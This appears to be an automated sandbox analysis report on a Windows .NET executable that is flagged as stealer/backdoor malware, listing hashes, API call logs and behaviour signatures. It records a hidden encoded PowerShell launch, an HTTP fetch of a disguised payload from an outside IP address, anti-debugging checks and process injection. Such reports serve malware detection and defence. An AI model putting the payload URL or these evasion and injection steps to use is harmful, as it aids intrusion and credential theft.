Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	March 11, 2023, 10:27 a.m.	March 11, 2023, 10:46 a.m.

Size	520.0KB
Type	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5	`d9e77c8ca14edd3fabf09c01f61c566a`
SHA256	`b564ce75ebda7ddfe0c1be6becd119905c850c6703bb81af1d0ca8d8b9dcb86a`
CRC32	`64BC43D0`
ssdeep	`12288:3pmUWKOiPj0oF6yVbgd2HTDyNnvsH5W2brlRC:gnA5EEC`
PDB Path	Qfdyajl.pdb
Yara	UPX_Zero - UPX packed file OS_Processor_Check_Zero - OS Processor Check Win32_Trojan_PWS_Net_1_Zero - Win32 Trojan PWS .NET Azorult Is_DotNET_EXE - (no description) Win_Backdoor_AsyncRAT_Zero - Win Backdoor AsyncRAT IsPE32 - (no description) PE_Header_Zero - PE File Signature

p-Qfdyajl.exe "C:\Users\test22\AppData\Local\Temp\p-Qfdyajl.exe"
1440
- powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMwAwAA==
  2152
- p-Qfdyajl.exe C:\Users\test22\AppData\Local\Temp\p-Qfdyajl.exe
  2688

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
80.66.75.36	Active	Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (7 events)

Time & API	Arguments	Status	Return
GetComputerNameW March 11, 2023, 10:27 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 11, 2023, 10:27 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 11, 2023, 10:27 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 11, 2023, 10:27 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 11, 2023, 10:27 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA March 11, 2023, 10:27 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 11, 2023, 10:27 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (3 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent March 11, 2023, 10:27 a.m.			0	0
IsDebuggerPresent March 11, 2023, 10:27 a.m.			0	0
IsDebuggerPresent March 11, 2023, 10:27 a.m.			0	0

Uses Windows APIs to generate a cryptographic key (43 events)

Time & API	Arguments	Status	Return
CryptExportKey March 11, 2023, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005405b0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 11, 2023, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005405b0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 11, 2023, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005406f0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 11, 2023, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004ccb80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 11, 2023, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004cccc0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 11, 2023, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004cccc0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 11, 2023, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004cccc0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 11, 2023, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004cc4c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 11, 2023, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004cc4c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 11, 2023, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004cc4c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 11, 2023, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004cc4c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 11, 2023, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004cc4c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 11, 2023, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004cc4c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 11, 2023, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004cccc0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 11, 2023, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004cccc0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 11, 2023, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004cccc0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 11, 2023, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004cd240 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 11, 2023, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004cd240 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 11, 2023, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004cd240 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 11, 2023, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004ccf40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 11, 2023, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004cd240 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 11, 2023, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004cd240 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 11, 2023, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004cd240 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 11, 2023, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004cd240 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 11, 2023, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004cd240 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 11, 2023, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004cd240 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 11, 2023, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004cd240 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 11, 2023, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004cd000 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 11, 2023, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004cd000 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 11, 2023, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004cd000 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 11, 2023, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004cd000 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 11, 2023, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004cd000 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 11, 2023, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004cd000 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 11, 2023, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004cd000 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 11, 2023, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004cd000 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 11, 2023, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004cd000 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 11, 2023, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004cd000 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 11, 2023, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004cd000 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 11, 2023, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004cd000 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 11, 2023, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004cd000 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 11, 2023, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004cd000 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 11, 2023, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004cd080 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 11, 2023, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004cd080 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

This executable has a PDB path (1 event)

pdb_path

Qfdyajl.pdb

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx March 11, 2023, 10:27 a.m.		1	1	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

GET method with no useragent header, Connection to IP address

suspicious_request

GET http://80.66.75.36/p-Vrilmtqt.png

Performs some HTTP requests (1 event)

request

GET http://80.66.75.36/p-Vrilmtqt.png

Allocates read-write-execute memory (usually to unpack itself) (50 out of 201 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory March 11, 2023, 10:27 a.m.	process_identifier: 1440 region_size: 589824 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00420000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 11, 2023, 10:27 a.m.	process_identifier: 1440 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00470000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory March 11, 2023, 10:27 a.m.	process_identifier: 1440 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73f61000 process_handle: 0xffffffff	1
NtProtectVirtualMemory March 11, 2023, 10:27 a.m.	process_identifier: 1440 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73f62000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 11, 2023, 10:27 a.m.	process_identifier: 1440 region_size: 2162688 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02040000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 11, 2023, 10:27 a.m.	process_identifier: 1440 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02210000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 11, 2023, 10:27 a.m.	process_identifier: 1440 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00452000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 11, 2023, 10:27 a.m.	process_identifier: 1440 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0046c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 11, 2023, 10:27 a.m.	process_identifier: 1440 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 11, 2023, 10:27 a.m.	process_identifier: 1440 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x004c5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 11, 2023, 10:27 a.m.	process_identifier: 1440 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x004cb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 11, 2023, 10:27 a.m.	process_identifier: 1440 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x004c7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 11, 2023, 10:27 a.m.	process_identifier: 1440 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0045a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 11, 2023, 10:27 a.m.	process_identifier: 1440 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x004ba000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 11, 2023, 10:27 a.m.	process_identifier: 1440 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x004b7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 11, 2023, 10:27 a.m.	process_identifier: 1440 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x004b6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 11, 2023, 10:27 a.m.	process_identifier: 1440 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f11000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 11, 2023, 10:27 a.m.	process_identifier: 1440 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x004bb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 11, 2023, 10:27 a.m.	process_identifier: 1440 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f12000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 11, 2023, 10:27 a.m.	process_identifier: 1440 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f14000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 11, 2023, 10:27 a.m.	process_identifier: 1440 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f15000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 11, 2023, 10:27 a.m.	process_identifier: 1440 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f16000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 11, 2023, 10:27 a.m.	process_identifier: 1440 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f17000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 11, 2023, 10:27 a.m.	process_identifier: 1440 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f18000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 11, 2023, 10:27 a.m.	process_identifier: 1440 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f19000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 11, 2023, 10:27 a.m.	process_identifier: 1440 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f1a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 11, 2023, 10:27 a.m.	process_identifier: 1440 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f1b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 11, 2023, 10:27 a.m.	process_identifier: 1440 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f1d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 11, 2023, 10:27 a.m.	process_identifier: 1440 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f1e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 11, 2023, 10:27 a.m.	process_identifier: 1440 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f1f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 11, 2023, 10:27 a.m.	process_identifier: 1440 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04c70000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 11, 2023, 10:27 a.m.	process_identifier: 1440 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04c71000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 11, 2023, 10:27 a.m.	process_identifier: 1440 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0046d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 11, 2023, 10:27 a.m.	process_identifier: 1440 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0045c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 11, 2023, 10:27 a.m.	process_identifier: 1440 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0046e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 11, 2023, 10:27 a.m.	process_identifier: 1440 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04c72000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 11, 2023, 10:27 a.m.	process_identifier: 1440 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0046f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 11, 2023, 10:27 a.m.	process_identifier: 1440 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04c73000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 11, 2023, 10:27 a.m.	process_identifier: 1440 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04c74000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 11, 2023, 10:27 a.m.	process_identifier: 1440 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0046a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 11, 2023, 10:27 a.m.	process_identifier: 1440 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04c75000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 11, 2023, 10:27 a.m.	process_identifier: 1440 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04c50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 11, 2023, 10:27 a.m.	process_identifier: 1440 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04c90000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 11, 2023, 10:27 a.m.	process_identifier: 1440 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04c76000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 11, 2023, 10:27 a.m.	process_identifier: 1440 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04c77000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 11, 2023, 10:27 a.m.	process_identifier: 1440 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04c78000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 11, 2023, 10:27 a.m.	process_identifier: 1440 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04c79000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 11, 2023, 10:27 a.m.	process_identifier: 1440 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04c7a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 11, 2023, 10:27 a.m.	process_identifier: 1440 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x004bc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 11, 2023, 10:27 a.m.	process_identifier: 1440 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04c91000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (2 events)

cmdline	powershell -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMwAwAA==
cmdline	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMwAwAA==

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW March 11, 2023, 10:27 a.m.	show_type: 0 filepath_r: powershell parameters: -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMwAwAA== filepath: powershell	1	1	0

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses March 11, 2023, 10:27 a.m.	flags: 15 family: 0		111	0

Checks for the Locally Unique Identifier on the system for a suspicious privilege (2 events)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW March 11, 2023, 10:28 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0
LookupPrivilegeValueW March 11, 2023, 10:27 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Yara rule detected in process memory (13 events)

description	Communications over RAW Socket	rule	Network_TCP_Socket
description	Communications smtp	rule	Network_SMTP_dotNet
description	Match Windows Inet API call	rule	Str_Win32_Internet_API
description	PWS Memory	rule	Generic_PWS_Memory_Zero
description	File Downloader	rule	Network_Downloader
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

One or more of the buffers contains an embedded PE file (1 event)

buffer

Buffer with sha1: 80fa7c158b58cd9eabbc548406b1068b3f13e920

Communicates with host for which no DNS query was performed (1 event)

host

80.66.75.36

Allocates execute permission to another process indicative of possible code injection (1 event)

Time & API	Arguments	Status	Return	Repeated
NtAllocateVirtualMemory March 11, 2023, 10:28 a.m.	process_identifier: 2688 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000218	1	0	0

Potential code injection by writing to the memory of another process (1 event)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory March 11, 2023, 10:28 a.m.	buffer: @ base_address: 0x7efde008 process_identifier: 2688 process_handle: 0x00000218	1	1	0

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1440 called NtSetContextThread to modify thread in remote process 2688
